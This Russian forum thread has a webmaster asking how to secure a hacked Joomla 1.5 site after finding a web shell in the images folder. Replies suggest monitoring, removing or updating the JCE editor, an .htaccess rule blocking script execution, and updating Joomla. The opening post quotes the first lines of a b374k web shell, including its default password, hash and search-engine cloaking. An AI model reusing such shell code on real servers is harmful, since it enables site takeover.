Форум Сайтостроение Безопасность

Шел на Joomla 1.5 Что делать?

Mitjay
На сайте с 03.09.2013
Offline
19
Mitjay
1110

Привет всем. Сегодня захожу на сайт а он мне дули тыкает мол не верный логин или пароль. Я в сипанель а там нашел шел. В домен/images/uphik.php Я его конечно удалил но вопрос. Как и где закрыть дыры на сайте? вот его начало. Кому интересно могу отправить целый файл 

<?php 



/* (Web Shell b374k r3c0d3d by x'1n73ct|default pass:" fikriaja ") */ 

$auth_pass = "b2a39c024b41024223b17727b8b9cb6d"; 

$color = "#00ff00"; 

$default_action = 'FilesMan'; 

@define('SELF_PATH', __FILE__); 

if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 

    header('HTTP/1.0 404 Not Found'); 

    exit;
Мир, дружба, сео!
D
На сайте с 28.06.2008
Offline
1101
Dram
#1

Поставь это http://santivi.com/ дыры не закроет, но зато сразу будет оповещать что изменили.

В Джумле 1,5 чаще все ломают редактор JCE. На важных проектах я его вообще удалил.

draff
На сайте с 30.03.2010
Offline
65
draff
#2

Положить файл .htaccess с запретом на запуск скриптов в папке ,где не должны запускаться серверные скрипты 

php_flag engine 0

 RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml

 AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml

И обновить редактор и джумла до актуальных версий

Удалю вирус с сайта Джумла! (http://joomlaforum.ru/index.php/topic,254903.0.html)
NikitoZZ
На сайте с 04.04.2007
Offline
208
NikitoZZ
#3

Странно что обновить версию джумлы ещё никто не предложил 🙄

N
На сайте с 06.05.2007
Offline
419
netwind
#4
NikitoZZ:
Странно что обновить версию джумлы ещё никто не предложил

Тсс. Не отнимайте хлеб у "экспертов". Тут это немодно.

Кнопка вызова админа ()
Mitjay
На сайте с 03.09.2013
Offline
19
Mitjay
#5
netwind:
Тсс. Не отнимайте хлеб у "экспертов". Тут это немодно.

Это прикол?

---------- Добавлено 30.12.2013 в 15:26 ----------

NikitoZZ:
Странно что обновить версию джумлы ещё никто не предложил

Предложили, в предыдущем посте.

N
На сайте с 06.05.2007
Offline
419
netwind
#6
Mitjay:
Это прикол?

относительно. что еще остается ?

Rimlyanin
На сайте с 22.02.2006
Offline
200
Rimlyanin
#7

http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=31626 ?

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий